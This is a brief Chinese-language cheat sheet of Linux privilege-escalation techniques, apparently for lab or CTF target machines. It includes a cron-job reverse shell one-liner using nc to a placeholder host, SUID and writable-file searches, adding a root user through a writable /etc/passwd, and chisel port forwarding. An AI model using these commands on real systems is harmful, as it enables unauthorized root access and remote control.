Linux提权套路

1.内核提权：查看系统内核版本后，根据版本号查找CVE提取常用命令：cat /etc/issuecat /etc/os-releaseuname -a2.SUID提取常用命令和网站：find / -perm -u=s -type f 2>/dev/nullhttps://gtfobins.github.io/3.计划任务提权写入计划任务的反弹shellecho "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ip port >/tmp/f"常用工具：https://github.com/DominicBreuker/pspy/releases/download/v1.2.0/pspy644.查找ROOT权限文件并且其他用户有写入的权限：find / -user root -type f -perm -o=rw -ls 2>/dev/null | grep -v "/proc"比如/etc/passwd有权限写入，可以直接写入一个root用户进行提权5.sudo错误配置提权常用命令：sudo -l6.注意靶机只对本地开放的端口，比如127.0.0.1：8000或者127.0.0.1：8080这个时候需要我们去把靶机本地的端口转发到kali上面：可以使用chisel工具进行转发：kali上./chisel_kali server -p 8000 --reverse 靶机上：./chisel client 192.168.32.173:8000 R:8001:127.0.0.1:8000#这是将靶机的8000端口转发到kali的8001端口，这样直接访问kali的8001就可以了7.常用自动化工具linpeas提权脚本：https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh